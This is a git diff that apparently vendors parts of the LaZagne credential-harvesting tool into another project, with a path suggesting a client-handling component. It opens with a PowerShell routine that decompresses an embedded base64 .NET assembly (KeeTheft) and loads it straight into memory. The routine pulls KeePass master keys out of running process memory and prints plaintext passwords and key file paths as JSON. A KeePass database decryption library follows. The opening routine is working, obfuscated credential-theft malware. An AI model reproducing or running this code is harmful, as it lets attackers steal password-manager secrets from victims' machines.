+64kMxUFovBnG9NIgroUFc4wySNooh0ifEJuJTMUbaLJ6TPhPLpS3iAflzYqsYKG8jtovH5C/ECHkH8aUorOwU5ZSviF3E1+J2ZTf
+xjUhS9hDfEnuJfUQ28Z2ooewXdyrfizrKAeIHUVc5SBwiDosM5UfiiHhE+Yk4ShwjjhMniJPEKeI08bN4RjlD/CLGK2eJX4lzRI6
+YoJwnLhAXid+ISyJV/E5cJv4grhB/itriqrhLSOpdQiYUQhAqoREBQieiiGi1vohRGwiDMNWGwiJstaUIEiG1i4hV00Q+tbfIrw4
+RBdT1oiBRiChMxBFhIp5IIIoQRYlbiGJEcaIEUZIoRZQmyhC3EmWJ24hyxO1EeaIC4cz/W6Rf3VdOcb8q6Velcys5t8qRI6+j26Q
+LuWNOdckdu90fuz13TMmt/nDXVvDXVvDXVshdK3Krq7l9slRJUpTILaq49ytTeWNJ/laS3K3IVN7aqv7aqv59VHXvQ6by+lL9vlS
+/L9Xfl9TcfVFZn+reQpZqSc4fcDm7WEsKum8jd/pjd/pjdf3qLn/tXf7Yi/4xXS01dseiZe/tyZAVt7L8KuhXsX6V36/CfpXgV0X
+97RXzqxJ+VSq3knMr7xZl/LEy/lhZf6ysP1bOHyvnj5X3x8r7YxX9sYpySSXyrlvRX1vZX1vZX1vZX5vor0301yb6a5P9x5HiV9X
+8qrpf1fSr2n5Vx6/q+VV9v2roV438qolfNfWr5n7V0q9a+1Ubv2rnV+39qoNfdfSrTn7V2a/S/CrdrzL8qrtf9fCrnn7V268y/aq
+fX2X51UC/GuxXQ/xqqF8N96sR/jMzwvlj89yfkf7YSH9slD82KndMya28V8Bof+1of+1of+0Yf+0Yf3tj/bGx/tg4f2ycv5Vx/lY
+m+Gsn+Gsn+Gsn+msn+msn+jNskr92kr92kr92sr92sr92cu6WRW7l9U31+6b6fVP9vql+3zT/6E73bzFdruSOzfDHZuSOKbmVd9u
+Z/m1n+dVsv5rrV/P8ar5fLfSrRX612K+W+tUyv1ruVyvdKk5a5Y+t9qu1/j6v9fd0nb92vb92vb92g+y9J2701270n+lN/tgmf2y
+zP7bZH9vij23xx7b6Y1v9se3+2HZ/bIc/tsMf2+mP7fTHdvmPY7df7fGrvX6V7Vf7/a3s97dywB874I8d9McO+vPloD9jD/trD/t
+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'
+ $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(
+ $EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
+ $UncompressedFileBytes = New-Object Byte[](738304)
+ $DeflatedStream.Read($UncompressedFileBytes, 0, 738304) | Out-Null
+ $Assembly = [Reflection.Assembly]::Load($UncompressedFileBytes)
+ }
+ PROCESS {
+ ForEach($KeePassProcess in $Process) {
+ if($KeePassProcess.FileVersion -match '^2\\.') {
+ $WMIProcess = Get-WmiObject win32_process -Filter "ProcessID = $($KeePassProcess.ID)"
+ $ExecutablePath = $WMIProcess | Select-Object -Expand ExecutablePath
+ $Keys = $Assembly.GetType('KeeTheft.Program').GetMethod('GetKeePassMasterKeys').Invoke($null,
+ @([System.Diagnostics.Process]$KeePassProcess))
+ if($Keys) {
+ $array = @()
+ ForEach ($Key in $Keys) {
+ $Database = New-Object PSObject
+ ForEach($UserKey in $Key.UserKeys) {
+ $KeyType = $UserKey.GetType().Name
+ $UserKeyObject = New-Object PSObject
+ $UserKeyObject | Add-Member Noteproperty 'Database' $UserKey.databaseLocation
+ $UserKeyObject | Add-Member Noteproperty 'ExecutablePath' $ExecutablePath
+ $UserKeyObject | Add-Member Noteproperty 'KeyType' $KeyType
+ $UserKeyObject | Add-Member Noteproperty 'KeePassVersion' $KeePassProcess.FileVersion
+ if($KeyType -eq 'KcpPassword') {
+ $Plaintext = [System.Text.Encoding]::UTF8.GetString($UserKey.plaintextBlob)
+ }
+ else {
+ $Plaintext = [Convert]::ToBase64String($UserKey.plaintextBlob)
+ }
+ $UserKeyObject | Add-Member Noteproperty 'Password' ($Plaintext -replace "`0", "")
+ if($KeyType -eq 'KcpUserAccount') {
+ try {
+ $WMIProcess = Get-WmiObject win32_process -Filter `
+ "ProcessID = $($KeePassProcess.ID)"
+ $UserName = $WMIProcess.GetOwner().User
+ $ProtectedUserKeyPath = Resolve-Path -Path `
+ "$($Env:WinDir | Split-Path -Qualifier)`
+ \\Users\\*$UserName*\\AppData\\Roaming\\KeePass\\ProtectedUserKey.bin" `
+ -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
+ $UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $ProtectedUserKeyPath
+ }
+ catch {
+ Write-Warning "Error: Error enumerating the owner of $($KeePassProcess.ID) : $_"
+ }
+ }
+ else {
+ $UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $UserKey.keyFilePath
+ }
+ $UserKeyObject.PSObject.TypeNames.Insert(0, 'KeePass.Keys')
+ $Database | Add-Member Noteproperty $KeyType $UserKeyObject
+ }
+ $array += , $Database
+ }
+ ConvertTo-Json $array
+ }
+ else {
+ Write-Verbose "Error: No keys found for $($KeePassProcess.ID)"
+ }
+ }
+ }
+ }
+}
+'''
diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/__init__.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/__init__.py
new file mode 100644
index 0000000..6a6eec1
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/__init__.py
@@ -0,0 +1,68 @@
+# -*- coding: utf-8 -*-
+import io
+from contextlib import contextmanager
+
+from .common import read_signature
+# from kdb3 import KDB3Reader, KDB3_SIGNATURE
+from .kdb4 import KDB4Reader, KDB4_SIGNATURE
+
+BASE_SIGNATURE = 0x9AA2D903
+
+_kdb_readers = {
+ # KDB3_SIGNATURE[1]: KDB3Reader,
+ #0xB54BFB66: KDB4Reader, # pre2.x may work, untested
+ KDB4_SIGNATURE[1]: KDB4Reader,
+ }
+
+@contextmanager
+def open(filename, **credentials):
+ """
+ A contextmanager to open the KeePass file with `filename`. Use a `password`
+ and/or `keyfile` named argument for decryption.
+
+ Files are identified using their signature and a reader suitable for
+ the file format is intialized and returned.
+
+ Note: `keyfile` is currently not supported for v3 KeePass files.
+ """
+ kdb = None
+ try:
+ with io.open(filename, 'rb') as stream:
+ signature = read_signature(stream)
+ cls = get_kdb_reader(signature)
+ kdb = cls(stream, **credentials)
+ yield kdb
+ kdb.close()
+ except Exception:
+ if kdb: kdb.close()
+ raise
+
+def add_kdb_reader(sub_signature, cls):
+ """
+ Add or overwrite the class used to process a KeePass file.
+
+ KeePass uses two signatures to identify files. The base signature is
+ always `0x9AA2D903`. The second/sub signature varies. For example
+ KeePassX uses the v3 sub signature `0xB54BFB65` and KeePass2 the v4 sub
+ signature `0xB54BFB67`.
+
+ Use this method to add or replace a class by givin a `sub_signature` as
+ integer and a class, which should be a subclass of
+ `keepass.common.KDBFile`.
+ """
+ _kdb_readers[sub_signature] = cls
+
+def get_kdb_reader(signature):
+ """
+ Retrieve the class used to process a KeePass file by `signature`, which
+ is a a tuple or list with two elements. The first being the base signature
+ and the second the sub signature as integers.
+ """
+ if signature[0] != BASE_SIGNATURE:
+ raise IOError('Unknown base signature.')
+
+ if signature[1] not in _kdb_readers:
+ raise IOError('Unknown sub signature.')
+
+ return _kdb_readers[signature[1]]
+
diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/common.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/common.py
new file mode 100644
index 0000000..9a78a40
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/common.py
@@ -0,0 +1,288 @@
+# -*- coding: utf-8 -*-
+import base64
+import codecs
+import io
+import struct
+from xml.etree import ElementTree
+
+from .crypto import sha256
+
+try:
+ file_types = (file, io.IOBase)
+except NameError:
+ file_types = (io.IOBase,)
+
+
+# file header
+class HeaderDictionary(dict):
+ """
+ A dictionary on steroids for comfortable header field storage and
+ manipulation.
+
+ Header fields must be defined in the `fields` property before filling the
+ dictionary with data. The `fields` property is a simple dictionary, where
+ keys are field names (string) and values are field ids (int)::
+
+ >>> h.fields['rounds'] = 4
+
+ Now you can set and get values using the field id or the field name
+ interchangeably::
+
+ >>> h[4] = 3000
+ >>> print h['rounds']
+ 3000
+ >>> h['rounds'] = 6000
+ >>> print h[4]
+ 6000
+
+ It is also possible to get and set data using the field name as an
+ attribute::
+
+ >>> h.rounds = 9000
+ >>> print h[4]
+ 9000
+ >>> print h.rounds
+ 9000
+
+ For some fields it is more comfortable to unpack their byte value into
+ a numeric or character value (eg. the transformation rounds). For those
+ fields add a format string to the `fmt` dictionary. Use the field id as
+ key::
+
+ >>> h.fmt[4] = '<q'
+
+ Continue setting the value as before if you have it as a number and if you
+ need it as a number, get it like before. Only when you have the packed value
+ use a different interface::
+
+ >>> h.b.rounds = '\x70\x17\x00\x00\x00\x00\x00\x00'
+ >>> print h.b.rounds
+ '\x70\x17\x00\x00\x00\x00\x00\x00'
+ >>> print h.rounds
+ 6000
+
+ The `b` (binary?) attribute is a special way to set and get data in its
+ packed format, while the usual attribute or dictionary access allows
+ setting and getting a numeric value::
+
+ >>> h.rounds = 3000
+ >>> print h.b.rounds
+ '\xb8\x0b\x00\x00\x00\x00\x00\x00'
+ >>> print h.rounds
+ 3000
+
+ """
+ fields = {}
+ fmt = {}
+
+ def __init__(self, *args):
+ dict.__init__(self, *args)
+
+ def __getitem__(self, key):
+ if isinstance(key, int):
+ return dict.__getitem__(self, key)
+ else:
+ return dict.__getitem__(self, self.fields[key])
+
+ def __setitem__(self, key, val):
+ if isinstance(key, int):
+ dict.__setitem__(self, key, val)
+ else:
+ dict.__setitem__(self, self.fields[key], val)
+
+ def __getattr__(self, key):
+ class wrap(object):
+ def __init__(self, d):
+ object.__setattr__(self, 'd', d)
+
+ def __getitem__(self, key):
+ fmt = self.d.fmt.get(self.d.fields.get(key, key))
+ if fmt:
+ return struct.pack(fmt, self.d[key])
+ else:
+ return self.d[key]
+
+ __getattr__ = __getitem__
+
+ def __setitem__(self, key, val):
+ fmt = self.d.fmt.get(self.d.fields.get(key, key))
+ if fmt:
+ self.d[key] = struct.unpack(fmt, val)[0]
+ else:
+ self.d[key] = val
+
+ __setattr__ = __setitem__
+
+ if key == 'b':
+ return wrap(self)
+ try:
+ return self.__getitem__(key)
+ except KeyError:
+ raise AttributeError(key)
+
+ def __setattr__(self, key, val):
+ try:
+ return self.__setitem__(key, val)
+ except KeyError:
+ return dict.__setattr__(self, key, val)
+
+
+# file baseclass
+class KDBFile(object):
+ def __init__(self, stream=None, **credentials):
+ # list of hashed credentials (pre-transformation)
+ self.keys = []
+ self.add_credentials(**credentials)
+
+ # the buffer containing the decrypted/decompressed payload from a file
+ self.in_buffer = None
+ # the buffer filled with data for writing back to a file before
+ # encryption/compression
+ self.out_buffer = None
+ # position in the `in_buffer` where the payload begins
+ self.header_length = None
+ # decryption success flag, set this to true upon verification of the
+ # encryption masterkey. if this is True `in_buffer` must contain
+ # clear data.
+ self.opened = False
+
+ # the raw/basic file handle, expect it to be closed after __init__!
+ if stream is not None:
+ if not isinstance(stream, io.IOBase):
+ raise TypeError('Stream does not have the buffer interface.')
+ self.read_from(stream)
+
+ def read_from(self, stream):
+ if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)):
+ raise TypeError('Stream does not have the buffer interface.')
+ self._read_header(stream)
+ self._decrypt(stream)
+
+ def _read_header(self, stream):
+ raise NotImplementedError('The _read_header method was not '
+ 'implemented propertly.')
+
+ def _decrypt(self, stream):
+ self._make_master_key()
+ # move read pointer beyond the file header
+ if self.header_length is None:
+ raise IOError('Header length unknown. Parse the header first!')
+ stream.seek(self.header_length)
+
+ def write_to(self, stream):
+ raise NotImplementedError('The write_to() method was not implemented.')
+
+ def add_credentials(self, **credentials):
+ if credentials.get('password'):
+ self.add_key_hash(sha256(credentials['password']))
+ if credentials.get('keyfile'):
+ self.add_key_hash(load_keyfile(credentials['keyfile']))
+
+ def clear_credentials(self):
+ """Remove all previously set encryption key hashes."""
+ self.keys = []
+
+ def add_key_hash(self, key_hash):
+ """
+ Add an encryption key hash, can be a hashed password or a hashed
+ keyfile. Two things are important: must be SHA256 hashes and sequence is
+ important: first password if any, second key file if any.
+ """
+ if key_hash is not None:
+ self.keys.append(key_hash)
+
+ def _make_master_key(self):
+ if len(self.keys) == 0:
+ raise IndexError('No credentials found.')
+
+ def close(self):
+ if self.in_buffer:
+ self.in_buffer.close()
+
+ def read(self, n=-1):
+ """
+ Read the decrypted and uncompressed data after the file header.
+ For example, in KDB4 this would be plain, utf-8 xml.
+
+ Note that this is the source data for the lxml.objectify element tree
+ at `self.obj_root`. Any changes made to the parsed element tree will
+ NOT be reflected in that data stream! Use `self.pretty_print` to get
+ XML output from the element tree.
+ """
+ if self.in_buffer:
+ return self.in_buffer.read(n)
+
+ def seek(self, offset, whence=io.SEEK_SET):
+ if self.in_buffer:
+ return self.in_buffer.seek(offset, whence)
+
+ def tell(self):
+ if self.in_buffer:
+ return self.in_buffer.tell()
+
+
+# loading keyfiles
+def load_keyfile(filename):
+ try:
+ return load_xml_keyfile(filename)
+ except Exception:
+ pass
+ try:
+ return load_plain_keyfile(filename)
+ except Exception:
+ pass
+
+
+def load_xml_keyfile(filename):
+ """
+ // Sample XML file:
+ // <?xml version="1.0" encoding="utf-8"?>
+ // <KeyFile>
+ // <Meta>
+ // <Version>1.00</Version>
+ // </Meta>
+ // <Key>
+ // <Data>ySFoKuCcJblw8ie6RkMBdVCnAf4EedSch7ItujK6bmI=</Data>
+ // </Key>
+ // </KeyFile>
+ """
+ with open(filename, 'r') as f:
+ # ignore meta, currently there is only version "1.00"
+ tree = ElementTree.parse(f).getroot()
+ # read text from key, data and convert from base64
+ return base64.b64decode(tree.find('Key/Data').text)
+ # raise IOError('Could not parse XML keyfile.')
+
+
+def load_plain_keyfile(filename):
+ """
+ A "plain" keyfile is a file containing only the key.
+ Any other file (JPEG, MP3, ...) can also be used as keyfile.
+ """
+ with open(filename, 'rb') as f:
+ key = f.read()
+ # if the length is 32 bytes we assume it is the key
+ if len(key) == 32:
+ return key
+ # if the length is 64 bytes we assume the key is hex encoded
+ if len(key) == 64:
+ return codecs.decode(key, 'hex')
+ # anything else may be a file to hash for the key
+ return sha256(key)
+ # raise IOError('Could not read keyfile.')
+
+
+def stream_unpack(stream, offset, length, typecode='I'):
+ if offset is not None:
+ stream.seek(offset)
+ data = stream.read(length)
+ return struct.unpack('<' + typecode, data)[0]
+
+
+def read_signature(stream):
+ sig1 = stream_unpack(stream, 0, 4)
+ sig2 = stream_unpack(stream, None, 4)
+ # ver_minor = stream_unpack(stream, None, 2, 'h')
+ # ver_major = stream_unpack(stream, None, 2, 'h')
+ # return (sig1, sig2, ver_major, ver_minor)
+ return sig1, sig2
diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/crypto.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/crypto.py
new file mode 100644
index 0000000..3e7ad67
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/crypto.py
@@ -0,0 +1,53 @@
+# -*- coding: utf-8 -*-
+import hashlib
+import struct
+
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB, AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.winstructure import char_to_int
+
+AES_BLOCK_SIZE = 16
+
+
+def sha256(s):
+ """Return SHA256 digest of the string `s`."""
+ return hashlib.sha256(s).digest()
+
+
+def transform_key(key, seed, rounds):
+ """Transform `key` with `seed` `rounds` times using AES ECB."""
+ # create transform cipher with transform seed
+ cipher = AESModeOfOperationECB(seed)
+ # transform composite key rounds times
+ for n in range(0, rounds):
+ key = b"".join([cipher.encrypt(key[i:i + AES_BLOCK_SIZE]) for i in range(0, len(key), AES_BLOCK_SIZE)])
+ # return hash of transformed key
+ return sha256(key)
+
+
+def aes_cbc_decrypt(data, key, enc_iv):
+ """Decrypt and return `data` with AES CBC."""
+ cipher = AESModeOfOperationCBC(key, iv=enc_iv)
+ return b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])
+
+
+def aes_cbc_encrypt(data, key, enc_iv):
+ cipher = AESModeOfOperationCBC(key, iv=enc_iv)
+ return b"".join([cipher.encrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])
+
+
+def unpad(data):
+ extra = char_to_int(data[-1])
+ return data[:len(data) - extra]
+
+
+def pad(s):
+ n = AES_BLOCK_SIZE - len(s) % AES_BLOCK_SIZE
+ return s + n * struct.pack('b', n)
+
+
+def xor(aa, bb):
+ """Return a bytearray of a bytewise XOR of `aa` and `bb`."""
+ result = bytearray()
+ for a, b in zip(bytearray(aa), bytearray(bb)):
+ result.append(a ^ b)
+ return result
diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/hbio.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/hbio.py
new file mode 100644
index 0000000..ade6e96
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/hbio.py
@@ -0,0 +1,114 @@
+# -*- coding: utf-8 -*-
+import hashlib
+import io
+import struct
+
+# default from KeePass2 source
+BLOCK_LENGTH = 1024 * 1024
+
+try:
+ file_types = (file, io.IOBase)
+except NameError:
+ file_types = (io.IOBase,)
+
+# HEADER_LENGTH = 4+32+4
+
+def read_int(stream, length):
+ try:
+ return struct.unpack('<I', stream.read(length))[0]
+ except Exception:
+ return None
+
+
+class HashedBlockIO(io.BytesIO):
+ """
+ The data is stored in hashed blocks. Each block consists of a block index (4
+ bytes), the hash (32 bytes) and the block length (4 bytes), followed by the
+ block data. The block index starts counting at 0. The block hash is a
+ SHA-256 hash of the block data. A block has a maximum length of
+ BLOCK_LENGTH, but can be shorter.
+
+ Provide a I/O stream containing the hashed block data as the `block_stream`
+ argument when creating a HashedBlockReader. Alternatively the `bytes`
+ argument can be used to hand over data as a string/bytearray/etc. The data
+ is verified upon initialization and an IOError is raised when a hash does
+ not match.
+
+ HashedBlockReader is a subclass of io.BytesIO. The inherited read, seek, ...
+ functions shall be used to access the verified data.
+ """
+
+ def __init__(self, block_stream=None, bytes=None):
+ io.BytesIO.__init__(self)
+ input_stream = None
+ if block_stream is not None:
+ if not (isinstance(block_stream, io.IOBase) or isinstance(block_stream, file_types)):
+ raise TypeError('Stream does not have the buffer interface.')
+ input_stream = block_stream
+ elif bytes is not None:
+ input_stream = io.BytesIO(bytes)
+ if input_stream is not None:
+ self.read_block_stream(input_stream)
+
+ def read_block_stream(self, block_stream):
+ """
+ Read the whole block stream into the self-BytesIO.
+ """
+ if not (isinstance(block_stream, io.IOBase) or isinstance(block_stream, file_types)):
+ raise TypeError('Stream does not have the buffer interface.')
+ while True:
+ data = self._next_block(block_stream)
+ if not self.write(data):
+ break
+ self.seek(0)
+
+ def _next_block(self, block_stream):
+ """
+ Read the next block and verify the data.
+ Raises an IOError if the hash does not match.
+ """
+ index = read_int(block_stream, 4)
+ bhash = block_stream.read(32)
+ length = read_int(block_stream, 4)
+
+ if length > 0:
+ data = block_stream.read(length)
+ if hashlib.sha256(data).digest() == bhash:
+ return data
+ else:
+ raise IOError('Block hash mismatch error.')
+ return bytes()
+
+ def write_block_stream(self, stream, block_length=BLOCK_LENGTH):
+ """
+ Write all data in this buffer, starting at stream position 0, formatted
+ in hashed blocks to the given `stream`.
+
+ For example, writing data from one file into another as hashed blocks::
+
+ # create new hashed block io without input stream or data
+ hb = HashedBlockIO()
+ # read from a file, write into the empty hb
+ with open('sample.dat', 'rb') as infile:
+ hb.write(infile.read())
+ # write from the hb into a new file
+ with open('hb_sample.dat', 'w') as outfile:
+ hb.write_block_stream(outfile)
+ """
+ if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)):
+ raise TypeError('Stream does not have the buffer interface.')
+ index = 0
+ self.seek(0)
+ while True:
+ data = self.read(block_length)
+ if data:
+ stream.write(struct.pack('<I', index))
+ stream.write(hashlib.sha256(data).digest())
+ stream.write(struct.pack('<I', len(data)))
+ stream.write(data)
+ index += 1
+ else:
+ stream.write(struct.pack('<I', index))
+ stream.write('\x00' * 32)
+ stream.write(struct.pack('<I', 0))
+ break
diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py
new file mode 100644
index 0000000..b40760e
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py
@@ -0,0 +1,419 @@
+# -*- coding: utf-8 -*-
+import base64
+import gzip
+import io
+import xml.etree.ElementTree as ElementTree
+import zlib
+import codecs
+
+from .common import KDBFile, HeaderDictionary
+from .common import stream_unpack
+from .crypto import transform_key, pad, unpad
+from .crypto import xor, sha256, aes_cbc_decrypt, aes_cbc_encrypt
+from .hbio import HashedBlockIO
+from .pureSalsa20 import Salsa20
+
+
+KDB4_SALSA20_IV = codecs.decode('e830094b97205d2a', 'hex')
+KDB4_SIGNATURE = (0x9AA2D903, 0xB54BFB67)
+
+try:
+ file_types = (file, io.IOBase)
+except NameError:
+ file_types = (io.IOBase,)
+
+
+class KDB4Header(HeaderDictionary):
+ fields = {
+ 'EndOfHeader': 0,
+ 'Comment': 1,
+ # cipher used for the data stream after the header
+ 'CipherID': 2,
+ # indicates whether decrypted data stream is gzip compressed
+ 'CompressionFlags': 3,
+ #
+ 'MasterSeed': 4,
+ #
+ 'TransformSeed': 5,
+ #
+ 'TransformRounds': 6,
+ #
+ 'EncryptionIV': 7,
+ # key used to protect data in xml
+ 'ProtectedStreamKey': 8,
+ # first 32 bytes of the decrypted data stream after the header
+ 'StreamStartBytes': 9,
+ # cipher used to protect data in xml (ARC4 or Salsa20)
+ 'InnerRandomStreamID': 10,
+ }
+
+ fmt = {3: '<I', 6: '<q'}
+
+
+class KDB4File(KDBFile):
+ def __init__(self, stream=None, **credentials):
+ self.header = KDB4Header()
+ KDBFile.__init__(self, stream, **credentials)
+
+ def set_compression(self, flag=1):
+ """Dis- (0) or enable (default: 1) compression"""
+ if flag not in [0, 1]:
+ raise ValueError('Compression flag can be 0 or 1.')
+ self.header.CompressionFlags = flag
+
+ # def set_comment(self, comment):
+ # self.header.Comment = comment
+
+ def read_from(self, stream):
+ """
+ Read, parse, decrypt, decompress a KeePass file from a stream.
+
+ :arg stream: A file-like object (opened in 'rb' mode) or IO buffer
+ containing a KeePass file.
+ """
+ super(KDB4File, self).read_from(stream)
+ if self.header.CompressionFlags == 1:
+ self._unzip()
+
+ # def write_to(self, stream):
+ # """
+ # Write the KeePass database back to a KeePass2 compatible file.
+
+ # :arg stream: A writeable file-like object or IO buffer.
+ # """
+ # if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)):
+ # raise TypeError('Stream does not have the buffer interface.')
+
+ # self._write_header(stream)
+
+ def _read_header(self, stream):
+ """
+ Parse the header and write the values into self.header. Also sets
+ self.header_length.
+ """
+ # KeePass 2.07 has version 1.01,
+ # 2.08 has 1.02,
+ # 2.09 has 2.00, 2.10 has 2.02, 2.11 has 2.04,
+ # 2.15 has 3.00.
+ # The first 2 bytes are critical (i.e. loading will fail, if the
+ # file version is too high), the last 2 bytes are informational.
+ # TODO implement version check
+
+ # the first header field starts at byte 12 after the signature
+ stream.seek(12)
+
+ while True:
+ # field_id is a single byte
+ field_id = stream_unpack(stream, None, 1, 'b')
+
+ # field_id >10 is undefined
+ if field_id not in self.header.fields.values():
+ raise IOError('Unknown header field found.')
+
+ # two byte (short) length of field data
+ length = stream_unpack(stream, None, 2, 'h')
+ if length > 0:
+ data = stream_unpack(stream, None, length, '{}s'.format(length))
+ self.header.b[field_id] = data
+
+ # set position in data stream of end of header
+ if field_id == 0:
+ self.header_length = stream.tell()
+ break
+
+ # def _write_header(self, stream):
+ # """Serialize the header fields from self.header into a byte stream, prefix
+ # with file signature and version before writing header and out-buffer
+ # to `stream`.
+
+ # Note, that `stream` is flushed, but not closed!"""
+ # # serialize header to stream
+ # header = bytearray()
+ # # write file signature
+ # header.extend(struct.pack('<II', *KDB4_SIGNATURE))
+ # # and version
+ # header.extend(struct.pack('<hh', 0, 3))
+
+ # field_ids = self.header.keys()
+ # field_ids.sort()
+ # field_ids.reverse() # field_id 0 must be last
+ # for field_id in field_ids:
+ # value = self.header.b[field_id]
+ # length = len(value)
+ # header.extend(struct.pack('<b', field_id))
+ # header.extend(struct.pack('<h', length))
+ # header.extend(struct.pack('{}s'.format(length), value))
+
+ # # write header to stream
+ # stream.write(header)
+
+ # headerHash = base64.b64encode(sha256(header))
+ # self.obj_root.Meta.HeaderHash = headerHash
+
+ # # create HeaderHash if it does not exist
+ # if len(self.obj_root.Meta.xpath("HeaderHash")) < 1:
+ # etree.SubElement(self.obj_root.Meta, "HeaderHash")
+
+ # # reload out_buffer because we just changed the HeaderHash
+ # self.protect()
+ # self.out_buffer = io.BytesIO(self.pretty_print())
+
+ # # zip or not according to header setting
+ # if self.header.CompressionFlags == 1:
+ # self._zip()
+
+ # self._encrypt();
+
+ # # write encrypted block to stream
+ # stream.write(self.out_buffer)
+ # stream.flush()
+
+ def _decrypt(self, stream):
